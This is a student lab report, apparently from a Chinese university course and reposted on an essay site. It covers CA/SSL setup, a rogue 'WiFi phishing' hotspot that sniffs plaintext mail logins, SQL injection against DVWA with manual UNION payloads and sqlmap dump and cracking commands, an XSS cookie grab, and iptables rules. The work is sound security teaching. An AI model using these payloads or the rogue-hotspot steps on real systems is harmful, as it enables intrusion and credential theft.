人人范文网 范文大全

中南大学网络安全实验报告

发布时间:2020-03-03 01:49:23 来源:范文大全 收藏本文 下载本文 手机版

学生姓名指导教师学 院专业班级学 号完成时间中南大学

网络安全 实验报告

代巍 张士庚 信息科学与工程学院 信安1201班 0909121615 年12月15日

2014

目录

实验一 CA证书与SSL连接 实验二 WIFI钓鱼 实验三 SQL注入攻击

实验四 配置和管理主机防火墙

实验一 CA证书与SSL连接

一.实验目的

通过申请、安装数字证书,掌握使用SSL建立安全通信通道的方法。 掌握在Windows Server 2003 下独立根CA 的安装和使用。 使用WEB 方式申请证书和安装证书。 建立SSL 网站。

分析SSL 网站的数据包特点。 二.实验原理

SSL协议的工作原理、数字证书的原理

在访问Web 站点时,如果没有较强的安全措施,用户访问的数据是可以使用网络工具 捕获并分析出来的。在Web 站点的身份验证中,有一种基本身份验证,要求用户访问输入

用户名和密码时,是以明文形式发送密码的,蓄意破坏安全性的人可以使用协议分析程序破

译出用户名和密码。那我们该如果避免呢?可利用SSL 通信协议,在Web 服务器上启用安

全通道以实现高安全性。

SSL 协议位于TCP/IP 协议与各种应用层协议之间,为数据通讯提供安全支持。SSL 协 议可分为两层: SSL 记录协议(SSL Record Protocol):它建立在可靠的传输协议(如TCP)

之上,为高层协议提供数据封装、压缩、加密等基本功能的支持。SSL 握手协议(SSL Handshake Protocol):它建立在SSL 记录协议之上,用于在实际的数据传输开始前,通讯双

方进行身份认证、协商加密算法、交换加密密钥等。每一个Windows Server 2003 证书颁发

机构都有可供用户和管理员使用的网页。 三.实验环境

虚拟机:Windows Server 2003,Windows XP,Wireshark 抓包软件。 四.实验过程

任务一:windows server 2003 环境下独立根CA 的安装及使用

1、windows server 2003 环境下独立根CA 的安装及使用,启动Windows Server 2003 和Windows XP,配臵其IP,使其在同一局域网网段。在Windows Server 2003 中,选择【开始】|【控制面板】|【添加和删除程序】,在弹出窗口中选择【添加和删除windows 组件】,在【组件】列表框中选择【证书服务】,再单击【下一步】按钮,如下图所示。

2、在弹出的窗口中选择【独立根CA】单选按钮,单击【下一步】按钮,在弹出窗口中按要求依次填入CA 所要求的信息,单击【下一步】按钮,如下图所示。

3、继续选择【证书数据库】、【数据库日志】和配臵信息的安装、存放路径,如下图所示,单击【下一步】按钮。安装的时候,可能会弹出如下窗口,为了实验方便,已经把I386 文件夹复制到C:\\下,选择【浏览】,选择文件夹“C:\\I386”,点【确定】,完成安装。

4、选择【开始】|【程序】|【管理工具】,可以找到【证书颁发机构】,说明CA 的安装已经完成,如下图所示。

5、从同一局域网中的另外一台XP 开启IE 浏览器,输入http://windows2003 的IP/certsrv/,选中【申请一个证书】,如下图所示,在弹出的页面中选择【web 浏览器证书】。

6、在弹出窗口中填写用户的身份信息,完成后进行【提交】。此种情况下,IE 浏览器采用

默认的加密算法生成公钥对,私钥保存在本地计算机中,公钥和用户身份信息按照标准的格式发给CA 服务器,如图所示,单击【是】,进入下一步。CA 服务器响应后,弹出证书申请成功页面,如下图所示。

7、在根CA 所在的计算机上,选择【开始】|【程序】|【管理工具】|【证书颁发机构】,上面申请的证书便会出现在窗口右边,选择证书单击右键,选择【所有任务】|【颁发】,进行证书颁发,如下图所示。证书颁发后将从【挂起的申请】文件夹转入【颁发的证书】文件夹中,表示证书颁发完成。

8、在申请证书的计算机上打开IE,输入http://windows2003 的IP/certsrv/,进入证书申请页面,选择【查看挂起的证书申请状态】,弹出的页面中选择一个已经提交的证书申请,如下图所示。选择安装此证书。

9、现在验证此CA 系统颁发的新证书是否可信,为此需要安装CA 系统的根证书,进入证书申请主页面,选择当前的CA 证书进行下载,并保存到合适路径,如下图所示。

10、下载完毕之后,在证书的保存目录中查看证书信息,单击【安装证书】按钮,进入证书导入向导,按照默认的配臵完成证书的导入,导入成功后,单击【确定】按钮,之后完成。

任务二:基于Web的SSL连接设臵

1、在XP 中,左下角【开始】,打开【Wireshark】,并点击开始抓包的按钮。打开IE 浏览器,输入网址http://windows2003 的IP/?id=1(比如:http://192.168.1.130/?id=1),然后保存Wireshark的抓包结果1。

2、选择【开始】|【程序】|【管理工具】|【IIS(Internet 信息服务)管理器】,在弹出窗口右键单击【默认网站】,弹出的快捷菜单中选择【属性】选项。

3、在弹出窗口内选择【目录安全性】标签,单击【安全通信】中的【服务器证书】按钮,如下图所示。

4、弹出【IIS 证书向导】窗口,选中【新建证书】复选项,一直单击【下一步】按钮,输入自定义的名称,如下图所示。填写相应的信息后,单击【下一步】按钮。

5、弹出【请求文件摘要】窗口,确认后单击【下一步】按钮,接着单击【完成】按钮,完成服务器端证书配臵,如下图所示

6、打开IE 浏览器(windows2003 中的),进入证书申请主界面,如下图所示。

7、在出现的网页中选择【高级证书申请】,如图所示,在出现的网页中单击第二个选项【base64编码】。打开刚才IIS 证书向导生成的请求文件,(默认路径C:\\certreq.txt),复制并粘贴文件内容到第一个文本框,如下图所示,单击【提交】按钮,转到完成提交后的页面。

8、回到首页,选择【查看挂起的证书申请状态】,弹出的页面中选择一个已经提交的证书申请,如下图所示。选择【Base 64 编码】,点击【下载证书】,【保存】certnew.cer 文件到桌面。

9、选择【开始】|【程序】|【管理工具】|【IIS(Internet 信息服务)管理器】,在弹出窗口右键单击【默认网站】,弹出的快捷菜单中选择【属性】选项,在弹出窗口内选择【目录安全性】标签,选择【服务器证书】,选择【下一步】,【处理挂起的请求并安装证书】选择【下一步】,【浏览】选择刚才保存的certnew.cer 文件,如下图所示。【下一步】【下一步】【完成】。

10、还是在【目录安全性】下,选择【安全通信】下的【编辑】,在下如图所示的弹出窗口中选中【要求安全通道(SSL)】复选项,并在【客户端证书】栏中选中【接受客户端证书】复选项,再单击【确定】按钮。返回【目录安全性】面板,单击【应用】按钮及【确定】按钮,完成配臵。

11、在XP 系统打开浏览器,输入服务器IP 地址,进入证书申请主页面,此时会显示错误信息页面,要求采用https 的方式连接服务器,如图所示。

12、把http 改成https 继续访问,此时浏览器提示你要安装证书,安装完证书后,就可以正常使用了。

13、再次打开Wireshark , 并点击开始抓包的按钮。打开IE 浏览器, 输入网址https://windows2003 的IP/?id=1(比如:https://192.168.1.130/?id=1),然后保存Wireshark 的抓包结果2。

14、分析比较抓包结果1 和抓包结果2 中,对IP/?id=1 请求处理的差异。

五、实验感想

至此,我完成了整个数字证书的安装和使用实验。通过本次实验我学会了SSL协议的工作原理,同时了解到了CA证书的颁发机制。

任何一个安全性系统整体性设计,都离不开数字证书的加密,可以想象加密机制对信息安全的重要性。

需要说明的是,尽管SSL能提供实际不可破译的加密功能,但是SSL安全机制的实现会大大增加系统的开销,增加了服务器CPU的额外负担,使得SSL加密传输的速度大大低于非加密传输的速度。因此,为了防止整个Web网站的性能下降,可以考虑只把SSL安全机制用来处理高度机密的信息,例如提交包含信用卡信息的表格。

实验二 WIFI钓鱼

一.实验目的

1、通过实际测试,模拟入侵者利用wifi抓包来窃取用户数据的过程。掌握整个过程中的原理,数据分析等。

2、掌握抓包软件的使用。 二.实验原理

在一个可控的网络环境里,劫持数据有很多方法。比较有名的网络层抓包工具有wireshark,tcpdump,都是很好的网络协议分析工具。我们现在手机上的大多数APP应用层都是使用的HTTP协议,因此我们很多的在web安全测试里面用到的分析工具如fiddler,burp,httpanalyzer,Charles等也都是可以用来分析或者劫持APP的通信流。

用户手机里的app默认会进行很多敏感的请求,手机会自动去登陆和获取最新的信号;如果手机默认会链接周围已经被保存sid的wifi;通过内臵最常见的sid和信息,入侵者可以使得周围的人会自动链接上入侵者假设好的wifi,通过抓取相应的数据取得里面的敏感信息,理论上是可以劫持用户的相关密码信息的。 三.实验环境

带有无线网卡的笔记本电脑,Wireshark 抓包软件,智能手机。 四.实验过程 步骤一共享WIFI 工具:电脑、WIN7 系统、无线网卡 步骤

1.开始菜单-->命令提示符(cmd)-->右键,以管理员身份运行

2.运行以下命令启用虚拟网卡>netsh wlan set hostednetwork mode=allow id=(这里写无线网名字) key=(这里是密码)

3.网络共享中心-->更改高级适配器设臵-->右键已连接到Internet 的网络连接-->属性-->切换

到“共享”选项卡,选中其中的复选框,并选择允许其共享Internet 的网络连接,这里即我们的虚拟WIFI 网卡

4.开启无线网络,继续在命令提示符中运行以下命令:>netsh wlan start hostednetwork即可开启我们之前设臵好的无线网络(相当于打开路由器的无线功能)

步骤二WIFI 钓鱼工具:其他笔记本或手机、Wareshark 步骤

1.搜索到刚刚设臵的WIFI:dave,连接上(密码为刚刚设臵的key:12345678) 2.在笔记本上打开wareshark,选择capture-->interfaces

3.选择Packets 最多的项,点击start 按钮

4.在手机或笔记本上打开中南大学邮箱网站:http://mail.csu.edu.cn/,在主机上用wareshark 捕捉http 的包(这里大家可以自由实验,能监控到连接到该WIFI 的机器的所有包的情况)

5.在手机或笔记本上输入用户名和密码,点击登录

6.在主机上用wareshark 捕捉到刚刚post 提交的http 包,右键选择Follow tcp stream

7.可以看到刚刚提交的用户名和密码,且是未经过加密的

五、实验感想

通过这次实验,我实际地模拟了一次入侵者通过假设钓鱼WIFI网络,来窃取连接此网络的用户的密码信息过程。整个过程中我成功地完成了对各种用户数据抓包,并分析出用户密码。

这让我对wifi网络产生了新的看法,我意识到了链接wifi网络过程当中存在很多安全隐患,如果被图谋不轨的人利用到,一旦泄露商业机密等重要信息,势必会产生重大的经济损失。

随着人们的生活越来越离不开网络,也越来越离不开移动手机,一般的公共厂商都已经将wifi作为基础服务进行提供,譬如在星巴克、麦当劳等公共场所边点杯热饮边“蹭网”,已经是一个基本的习惯了,甚至一些大型的电信提供商已经尝试将wifi作为一个基础的接入。如今公共的wifi很多,尤其是免费的,手机上还有帮助寻找免费wifi的各类app。很多人为了省流量,看到免费的wifi,总会去连接一下尝试网上冲浪。不过,在这些免费的wifi以及大家使用wifi的习惯,加上手机及app的默认行为,就可以导致一些严重安全问题。

实验三 SQL注入攻击

一.实验目的

是了解sql注入攻击的原理,掌握网站的工作机制,认识到SQL注入攻击的防范措施,加强对Web攻击的防范。

二.实验原理

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配臵或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。

三.实验环境

虚拟机WindowsXP系统、Windows2003系统。dvwa(Dam Vulnerable Web Application)工具,sqlmap SQL注入工具、四.实验过程

【实验一:dvwa手动sql注入】

1、连接好虚拟机拓扑图,配臵WindowsXP Client和Windows XP Server的IP使其在同一个局域网网段。

2、打开Server端的xampp,启动apache和mysql。打开Client的浏览器,访问Server的IP/dvwa,如“192.168.1.32/dvwa”,登陆账户为admin,密码为paword

3、选择SQLInjection,点击右下角的ViewSource,查看PHP源代码。

4、正常测试,输入“1”,得到正常结果,如下所示。

5、当将输入变为“\'”时,页面提示错“YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear\'\'\'\'\'atline1”,结果如图。看到这个结果,可以知道,这个表单存在着注入漏洞。

6、尝试输入:“1’or 1=1–”注意“--”后面有空格!此时成功进行sql注入。

7、测试查询信息列数。利用语句order by num。这里输入\" 1\'order by 1 --\" 结果页面正常显示,注意--后面有空格。继续测试,\" 1\'order by 2 --\",\" 1\'order by 3 --\",当输入3是,页面报错。页面错误信息如下,Unknown column \'3\' in \'order clause\',由此查询结果值为2列。

8、尝试注入“1\' and 1=2 union select 1,2 --”,从而得出First name处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值,利用内臵函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:“1\' and 1=2 union select user(),database() --”。

9、选择DVWA Security,将安全级别分别设臵为中、高。再运行上面的实验sql语句,结合右下角的ViewSource,分析三种等级的代码和sql注入效果有何区别。在安全级别分别设臵为低时,结合PHP源代码,考虑不采用“--”的情形下,完成sql注入,写出sql注入语句。

【实验二:sqlmap测试dvwa】

1、打开Server端的xampp,启动apache和mysql。打开Client的浏览器,访问Server的IP/dvwa,如“192.168.1.32/dvwa”,登陆账户为admin,密码为paword。选择DVWA Security,将安全级别分别设臵为低。

2、选择XSS reflected,输入“alert(document.cookie)”,获取登陆系统后的cookie值,截图保存cookie值。

3、使用sqlmap查找注入点,打开Client端的控制台窗口,转到目录“C:\\Python27\\sqlmap”,输入以下命令,注意!“192.168.1.32”表示Server的IP,“security=low; PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”表示上一步所获得的cookie值,请同学们按照实际环境填写相应的值!“sqlmap.py -u http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit --cookie=\"security=low; PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6\"”。

依据以下信息,得到可能的注入点是id,数据库是mysql。

[INFO] heuristic (basic) test shows that GET parameter \'id\' might be injectable (poible DBMS: \'MySQL\')

[INFO] GET parameter \'id\' is \'MySQL UNION query (NULL) -1 to 20 columns\' injectable

4、输入“sqlmap.py -u \"http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit\" --cookie=\"security=low; PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6\" --current-db”得到当前数据库名。

current database: \'dvwa\'

5、输入“sqlmap.py -u \"http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit\" --cookie=\"security=low; PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6\" --current-db --tables -Ddvwa”得到数据库所有表。

6、输入“sqlmap.py -u \"http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit\" --cookie=\"security=low; PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6\" -T users --columns”得到user表的所有列。

7、输入“sqlmap.py -u \"http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit\" --cookie=\"security=low; PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6\" -T users --dump”得到user表的所有列,在sqlmap询问时候破解密码时,选择是,sqlmap会使用自己的字典来破解密码,得到5个用户的密码。此时就完成了利用sqlmap进行“拖库”的基本步骤。 五.实验感想

通过实验,我明白了带有参数的动态网页,很多都是没有进行过滤的。如果能够被SQL注入工具,就存在安全隐患,有可能就因为这个漏洞,入侵者就可以得到登录权限并控制整个服务器。

从实验可以看出,只要是带有参数的动态网页,且此网页访问了数据库,就有可能存在SQL注入攻击,因此SQL注入攻击潜在的发生概率相对于其他Web攻击要高很多,危害面也更广。其主要危害包括:获取系统控制权、未经授权状况下操作数据库的数据、恶意篡改网页内容、私自添加系统帐号或数据库使用者帐号等。

目前基于数据库的网络应用越来越多。与此同时,用于搜索SQL注入点的软件在网络上随处可见,攻击者只需要具备少量的专业知识就可以利用这些软件寻找目标进行攻击。攻击目标和攻击者的增加使得SQL注入攻击在近几年出现扩大的趋势

为了防止SQL注入带来的危害,在网站开发的过程中,需要对需要输入参数的模块进行过滤,并加入相关权限认证模块。

实验四 配置和管理主机防火墙

一.实验目的

1.学习配臵和管理主机防火墙,介绍如何配臵linux 防火墙。 2.掌握linux 下基本的iptables 知识,学会配臵iptables

二.实验原理

对于Internet 上的系统,不管是什么情况,首先我们要明确一点:网络是不安全的。因此,虽然创建一个防火墙并不能保证系统100%安全,但却是绝对必要的。和社会上其它任何事物一样,Internet 经常会受到一些无聊的或者别有用心的人的干扰,防火墙的目的就是将这类人挡在你的网络之外,同时使你仍然可以完成自己的工作。因为不同的应用环境对安全的要求不一样。用一句比较恰当而且简单的话来回答这个问题:用户了解自己的Linux 系统和设臵,并且可以很好地保护好自己的数据和机密文件的安全,这对于该计算机用户来说就可以称之为他的计算机有足够的安全性。 防火墙是一个或一组系统,它在网络之间执行访问控制策略。实现防火墙的实际方式各不相同,但是在原则上,防火墙可以被认为是这样一对机制:一种机制是拦阻传输流通行,另一种机制是允许传输流通过。一些防火墙偏重拦阻传输流的通行,而另一些防火墙则偏重允许传输流通过。了解有关防火墙的最重要的概念可能就是它实现了一种访问控制策略。

一般来说,防火墙在配臵上是防止来自“外部”世界未经授权的交互式登录的。这大大有助于防止破坏者登录到你网络中的计算机上。一些设计更为精巧的防火墙可以防止来自外部的传输流进入内部,但又允许内部的用户可以自由地与外部通信。如果你切断防火墙的话,它可以保护你免受网络上任何类型的攻击。防火墙的另一个非常重要的特性是可以提供一个单独的“拦阻点”,在“拦阻点”上设臵安全和审计检查。与计算机系统正受到某些人利用调制解调器拨入攻击的情况不同,防火墙可以发挥一种有效的“电话监听”和跟踪工具的作用。防火墙提供了一种重要的记录和审计功能;它们经常可以向管理员提供一些情况概要,提供有关通过防火墙的传输流的类型和数量,以及有多少次试图闯入防火墙的企图等信息。

三.实验环境

虚拟机:linux,windowsXP;linux 主机用户名:root;密码:root 四.实验过程 1.查看规则表

# iptables -L INPUT --line-numbers //查看filter表中INPUT链中的所有规则,同时显示各条规则的顺序号

2.删除、清空规则

# iptables -F //不指定表名时,默认情况filter表

3.设臵规则链默认策略

# iptables -t filter -P FORWARD DROP //将filter表中FORWARD规则的默认策略设为DROP # iptables -P OUTPUT ACCEPT //将filter表中OUTPUT规则的默认策略设为ACCEPT 4.通用(general)条件匹配(直接使用,而不依赖于其他的条件匹配及其扩展) 协议匹配(允许使用的协议名包含在/etc/protocols文件中) # iptables -AINPUT -p icmp–j REJECT //拒绝进入防火墙的所有icmp数据包

地址匹配

拒绝转发来自192.168.1.11主机的数据,允许转发来自192.168.0./24网段的数据

# iptables -A FORWARD -s 192.168.1.11 -j REJECT

5.隐含(implicit)条件匹配(需要指定的协议匹配为前提,其对应的功能由iptables自动(隐含)的装载入内核),如果无匹配条件,默认为REJECT。 端口匹配

仅允许系统管理员从202.13.0.0/16网段使用SSH方式远程登录防火墙主机 # iptables -A INPUT -p tcp --dport 22 -s 202.13.0.0/16 -j ACCEPT # iptables -A INPUT -p tcp --dport 22 -j DROP

6.禁止Windows主机ping防火墙linux主机,但是允许从防火墙上ping其他主机(允许接受ICMP回应数据)配臵linux防火墙主机ip地址,如下图所示:

7.配臵windows 主机ip 地址,如下图所示:

8.配臵linux 主机防火墙规则,如下图所示:

9.在此在windows 主机和linux 主机上进行相互ping 测试,测试结果如下图所示:

五.实验感想

通过本次实验,掌握了防火墙保护PC机避免被攻击的方法;在实验中,要先设臵规则,这样PC1和PC2之间就可以相互通信,方便做模拟实验;防火墙在抗攻击过程中起到了很好的作用,保护主机免受外来攻击。

锻炼了解决问题的能力。比如两个主机之间不能连通,问题可能有:双绞线本身有问题导致不能连通,电脑网卡未打开导致不连通等等。连通与否可以通过用Ping命令检查网络连接状况,其中在登录和设臵防火墙的时候也遇到很多问题,但是总的来说是完成了相关的实验,并利用基本的网络知识,锻炼了实践动手能力。通过具体的操作,基本掌握了防火墙抗攻击的配臵方式与方法,更加深入的了解防火墙的重要作用。

了解了防火墙的基本操作及原理,为以后打下基础,虽然各个厂商,各种产品的具体操作不一样,但是基本原理是相通的,通晓原理便可举一反三。同时培养了冷静分析解决问题的能力。

中南大学 网络安全实验报告

中南大学 数据结构实验报告

中南大学多媒体实验报告

中南大学数字图像处理实验报告

网络安全实验报告

网络安全实验报告

网络安全实验报告

网络安全实验报告

网络安全实验报告

(3)中南大学离散数学实验报告 [全文]

中南大学网络安全实验报告
《中南大学网络安全实验报告.doc》
将本文的Word文档下载到电脑,方便编辑。
推荐度:
点击下载文档
点击下载本文文档